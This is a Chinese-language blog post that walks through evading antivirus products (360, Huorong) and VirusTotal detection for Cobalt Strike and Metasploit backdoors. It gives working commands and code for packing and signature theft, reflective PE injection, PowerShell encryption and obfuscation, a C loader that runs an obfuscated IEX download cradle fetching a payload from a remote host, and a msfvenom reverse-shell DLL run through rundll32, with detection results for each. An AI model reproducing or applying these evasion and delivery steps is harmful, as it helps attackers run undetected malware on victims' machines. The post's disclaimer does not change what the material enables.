初探免杀之路——免杀方法测试

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担

前言

之前做靶机的时候发现有安全卫士,怎么都突破不了,意识到了免杀的重要性,花点时间来学习一下免杀的技巧,本文分别对exe文件和ps1文件进行免杀测试,所涉及的工具均已打包,私信获取

免杀介绍

免杀有很多种方式

  • 1、源码免杀。在有源码的情况下,可以定位特征码、加花指令、多层跳转、加无效指令、替换api、重写api、API伪调用等等,这部分内容较多略复杂

  • 2、无源码免杀。在源码不好修改需要对exe进行免杀时,可以加资源、替换资源、加壳、加签名、PE优化、增加节数据等等。本文中的方法1就是这种方式,只不过算是最简单的一种。

  • 3、powershell免杀。因为mimikatz有powershell版或者使用powershell可以加载,所以对powershell的脚本免杀也是一种方式,本文中的方法2-方法6都是对powershell进行处理。

  • 4、加载器分离免杀。加载器就是利用了ShellCode和PE分离的方式来达到免杀的效果,不过很多只能加载基于RAW格式或固定格式的shellcode,对exe程序就无能无力了

  • 5、白名单免杀。白名单主要是使用了rundll32、msbuild、mshta、cscript等多个白名单程序来加载嵌入了木马的jscript脚本

 

EXE文件免杀

首先来看看原生态的cs生成的exe后门木马吧

火绒一放进去就报毒了,360运行之后也报毒了

VirusTotal - Home原生木马的查杀率为48/68

 

加壳+签名

需要的软件

VMProtect Ultimate 3.4.0加壳软件、签名脚本sigthief.py

安装vmp加壳软件后,使⽤vmp进⾏加壳

 cs的后门和msf的后门都试了一下,不知道为什么VMP这个工具不能对msf的后门加壳

 加壳之后试了一下,火绒过了,360还是报毒了

 使⽤ sigthief.py 对上⼀步⽣成的exe⽂件进⾏签名。sigthief的详细⽤法可以参考 https://github.com/secretsquirrel/SigThief(要以管理员权限运行)

 python sigthief.py -i 360safe.exe -t artifact.vmp.exe -o artifact.exe

但还是运行不了

再来看看VirusTotal,只有14/67了,降了很多

 

PowerShell嵌入EXE文件

使用工具:Invoke-ReflectivePEInjection.ps1

这个方法其实只是将exe程序转为字符串,然后嵌入到Invoke-ReflectivePEInjection.ps1中直接执行。

将下面代码保存为Convert-BinaryToString.ps1

function Convert-BinaryToString {
   [CmdletBinding()] param (
      [string] $FilePath
   )
   try {
      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
   }
   catch {
      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
   }
   if ($ByteArray) {
      $Base64String = [System.Convert]::ToBase64String($ByteArray);
   }
   else {
      throw '$ByteArray is $null.';
   }
   Write-Output -InputObject $Base64String
}

这个ps1文件的意思是将exe转换为二进制文件

执行

import-module .\Convert-BinaryToString.ps1
Convert-BinaryToString .\artifact.exe >>1.txt \\如果执行不了要加绝对路径

新建一个payload.ps1,内容如下,需要替换里面1.txt的内容和Invoke-ReflectivePEInjection内容。

# Your base64 encoded binary
$InputString = '...........'  #上面1.txt的内容
function Invoke-ReflectivePEInjection  #Invoke-ReflectivePEInjection的内容
{
   ......
   ......
   ......
}
# Convert base64 string to byte array
$PEBytes = [System.Convert]::FromBase64String($InputString)
# Run EXE in memory
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

然后在目标机器执行powershell -ExecutionPolicy Bypass -File payload.ps1即可。

 360火绒都过不了,Invoke-ReflectivePEInjection这个知名度挺高的,VirusTotal

 

 

ps1文件免杀

 cs生成了一个ps1的后门脚本,先上传上去看看,令我意外的是360居然没有报毒,运行也直接上线了,但火绒还是爆毒了

VirusTotal

使用Out-EncryptedScript加密

使用Out-EncryptedScript.ps1

Import-Module .\Out-EncryptedScript.ps1
Out-EncryptedScript -ScriptPath .\payload.ps1 -Password tidesec -Salt lry123

默认会生成的evil.ps1文件。其中两个参数:-Password 设置加密的密钥-Salt 随机数,防止被暴力破解

 

运行一下

[String] $cmd = Get-Content .\evil.ps1
Invoke-Expression $cmd
$decrypted = de tidesec lry123
Invoke-Expression $decrypted

 

 

 成功上线,且火绒和360都没爆毒

VirusTotal上检测的效果却没这么好

 

使用xencrypt加密

xencrypt.ps1

Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile .\payload.ps1 -OutFile payload1.ps1 -Iterations 88

 

但是过了360还是没能过火绒

VirusTotal效果倒是很好

 

C程序中执行powershell

这个执行方式也是比较简单,在C代码里执行powershell。

编译为exe文件

#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://192.168.200.64/payload.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);");
return 0;
}

 但火绒和360都过不了

反而直接执行命令不会被拦截

powershell IEX (New-Object Net.WebClient).DownloadString(''http://192.168.200.64/payload.ps1'')

拿去VirusTotal,效果反而是最好的

 

 Invoke-Obfuscation-master

在测试一下我之前靶机试过的免杀

Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation

导入之后设置要免杀的ps1脚本路径

set scriptpath path

 

选择编码混淆ENCODING

看到有八种编码方式,每个都试试看

1
out 1.ps1

 直接说结果吧

1、ASCII 过360没过火绒   virustotal 5/57

2、Hex 过360没过火绒   virustotal 5/55

3、Octal 过360没过火绒   virustotal 5/56

4、Binary 过360没过火绒   virustotal 2/56

5、SecureString 过360没过火绒

6、BXOR 过360没过火绒  virustotal 5/56

7、Special Characters 过360火绒 virustotal0/56(强)

8、Whitespace  过360没过火绒   virustotal 1/56

说一下使用这个工具遇到的问题,一开始我连续生成了四个免杀后的ps1文件,到第五个的时候就变得很久,我还以为是文件太大的原因,可是生成之后的ps1文件也用不了,到了第二天一打开就能秒生成,加上我之前靶机也遇到这样的问题,再加上后面试验,发现这个工具编码免杀的时候还不能一次全部生成,最好生成一个再重新打开生成另一个,不知道是不是就我遇到这种情况

 

rundll32.exe

再介绍一种bypass的方法,msf或cs生成dll后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f dll >shell.dll

运行dll

C:\Windows\System32\rundll32.exe artifact.dll,Start

 

360没有报毒,成功上线,但是过了一会还是被杀了

火绒直接报毒

但是,使用加壳签名之后的dll,360火绒全过

 还可以结合别的免杀方法,这里就不测试了

 

总结

测试下来后发现:360对exe的文件比较敏感,火绒则对ps1文件敏感。遇到不同的杀软可以针对性的选择,也可以通过多种免杀方式结合。以后遇到别的免杀方法后续再补充,水文一篇大神见笑

posted @ 2021-11-15 12:05  1_Ry  阅读(5654)  评论(3编辑  收藏  举报